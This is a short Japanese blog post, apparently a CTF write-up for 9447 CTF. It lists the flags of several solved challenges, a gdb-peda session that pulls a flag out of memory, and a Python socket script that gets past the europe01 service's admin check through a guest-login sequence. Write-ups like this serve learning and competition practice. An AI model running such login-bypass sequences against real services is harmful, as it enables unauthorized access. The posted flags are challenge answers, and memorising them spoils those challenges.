st98 の日記帳


[ctf] 9447 CTF の write-up

ぼっチーム omakase として参加した。最終的に獲得できたポイントは 427 点でチーム順位は 104 位 (登録 988 チーム中) で日本勢の中では 10 位だった。
tumorous (Web 100), bashful (Web 101), insanity_check (Reversing 1), no strings attached (Reversing 25), europe01 (Exploitation 200) の 5 問を解いた。

tumorous (Web 100)

flag: 9447{IM_SITTING_ON_A_PILE_OF_GOLD}

bashful (Web 101)

flag: 9447{I_JUST_THINK_BITCOIN_WILL_DIE_OUT_SOON}

insanity_check (Reversing 1)

flag: 9447{This_is_a_flag}

no strings attached (Reversing 25)

$ gdb no_strings_attached
gdb-peda$ b *0x08048777
Breakpoint 1 at 0x08048777
gdb-peda$ r
...
[-----stack-----]
...
0004| 0xbfff7744 --> 0x804e448 --> 0x39 ('9')
...
[---------------]
...
Breakpoint 1, 0x08048777 in authenticate ()
gdb-peda$ x/ws 0x804e448
0x804e448: U"9447{you_are_an_international_mystery}"
flag: 9447{you_are_an_international_mystery}

europe01 (Exploitation 200)

import socket
import time

def main():
  s = socket.create_connection(('europe.9447.plumbing', 9447), 3)
  s.settimeout(3)

  s.recv(1024)
  s.send(b'1\n')

  s.recv(1024)
  s.send(b'guest\n')
  s.recv(1024)
  s.send(b'guest\n')

  s.recv(1024)
  s.send(b'1\n')

  s.recv(1024)
  s.send(b'admin\n')
  s.recv(1024)
  s.send(b'guest\n')

  time.sleep(1)

  s.recv(1024)
  s.send(b'2\n')

  print('[*]', s.recv(1024))

  s.close()

if __name__ == '__main__':
  main()
flag: 9447{...} (メモし忘れた)
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳